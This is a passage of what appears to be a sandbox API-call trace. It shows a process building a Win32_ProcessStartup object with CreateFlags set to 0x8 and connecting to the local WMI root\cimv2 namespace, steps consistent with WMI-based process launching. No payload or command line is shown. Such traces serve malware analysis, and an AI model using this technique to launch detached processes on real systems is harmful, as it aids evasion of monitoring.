pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0120.017] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0120.017] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0120.017] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0120.017] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0120.017] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0120.017] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.018] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b45cdd0) returned 0x0 [0120.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cdd0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0120.019] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cdd0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4affa0) returned 0x0 [0120.019] WbemDefPath:IUnknown:Release (This=0x1b45cdd0) returned 0x0 [0120.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4affa0) returned 0x0 [0120.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0120.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0120.019] WbemDefPath:IUnknown:AddRef (This=0x1b4affa0) returned 0x3 [0120.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0120.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0120.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b45ce70) returned 0x0 [0120.019] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45ce70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.019] WbemDefPath:IUnknown:Release (This=0x1b45ce70) returned 0x3 [0120.019] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0120.019] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0120.019] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0120.020] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x2 [0120.020] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x1 [0120.020] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0120.020] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0120.020] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4affa0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4affa0) returned 0x0 [0120.020] WbemDefPath:IUnknown:AddRef (This=0x1b4affa0) returned 0x3 [0120.020] WbemDefPath:IUnknown:Release (This=0x1b4affa0) returned 0x2 [0120.020] WbemDefPath:IWbemPath:SetText (This=0x1b4affa0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0120.020] IWbemClassObject:Get (in: This=0x1b4d7590, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26f4348*=0, plFlavor=0x26f434c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26f4348*=19, plFlavor=0x26f434c*=0) returned 0x0 [0120.020] IWbemClassObject:Get (in: This=0x1b4d7590, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26f4348*=19, plFlavor=0x26f434c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x26f4348*=19, plFlavor=0x26f434c*=0) returned 0x0 [0120.020] IWbemClassObject:Put (This=0x1b4d7590, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0120.020] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afb20, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0120.020] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0120.020] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0120.021] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.021] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0120.021] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0120.021] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0120.021] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.021] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b45cf50) returned 0x0 [0120.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45cf50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0120.022] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45cf50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4af220) returned 0x0 [0120.022] WbemDefPath:IUnknown:Release (This=0x1b45cf50) returned 0x0 [0120.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4af220) returned 0x0 [0120.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0120.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0120.022] WbemDefPath:IUnknown:AddRef (This=0x1b4af220) returned 0x3 [0120.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0120.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0120.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b45cd50) returned 0x0 [0120.022] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45cd50, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.022] WbemDefPath:IUnknown:Release (This=0x1b45cd50) returned 0x3 [0120.022] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0120.022] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0120.022] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0120.023] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x2 [0120.023] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x1 [0120.023] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0120.023] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0120.023] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af220, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4af220) returned 0x0 [0120.023] WbemDefPath:IUnknown:AddRef (This=0x1b4af220) returned 0x3 [0120.023] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x2 [0120.023] WbemDefPath:IWbemPath:SetText (This=0x1b4af220, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0120.023] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0120.023] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0120.023] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.023] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0120.023] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0120.023] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0120.023] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.024] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b45ce90) returned 0x0 [0120.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45ce90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0120.024] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b45ce90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b45d030) returned 0x0 [0120.024] WbemLocator:IUnknown:Release (This=0x1b45ce90) returned 0x0 [0120.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b45d030) returned 0x0 [0120.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0120.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0120.024] WbemLocator:IUnknown:AddRef (This=0x1b45d030) returned 0x3 [0120.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0120.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0120.024] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0120.024] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0120.025] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0120.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0120.025] WbemLocator:IUnknown:Release (This=0x1b45d030) returned 0x2 [0120.025] WbemLocator:IUnknown:Release (This=0x1b45d030) returned 0x1 [0120.025] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0120.025] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0120.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d030, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b45d030) returned 0x0 [0120.025] WbemLocator:IUnknown:AddRef (This=0x1b45d030) returned 0x3 [0120.025] WbemLocator:IUnknown:Release (This=0x1b45d030) returned 0x2 [0120.025] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af220, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0120.025] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0120.025] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af220, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.025] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b45d070) returned 0x0 [0120.025] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b45d070, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4cea70) returned 0x0 [0120.189] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cea70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b511050) returned 0x0 [0120.189] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511050, pProxy=0x1b4cea70, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0120.189] WbemLocator:IUnknown:Release (This=0x1b511050) returned 0x1 [0120.189] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cea70, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b511098) returned 0x0 [0120.189] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cea70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b511050) returned 0x0 [0120.189] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511050, pProxy=0x1b4cea70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0120.189] WbemLocator:IUnknown:Release (This=0x1b511050) returned 0x2 [0120.189] WbemLocator:IUnknown:Release (This=0x1b511098) returned 0x1 [0120.189] CoTaskMemFree (pv=0x1b461d00) [0120.189] WbemLocator:IUnknown:Release (This=0x1b45d070) returned 0x0 [0120.189] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cea70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b511098) returned 0x0 [0120.190] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0120.203] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511098, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0120.235] 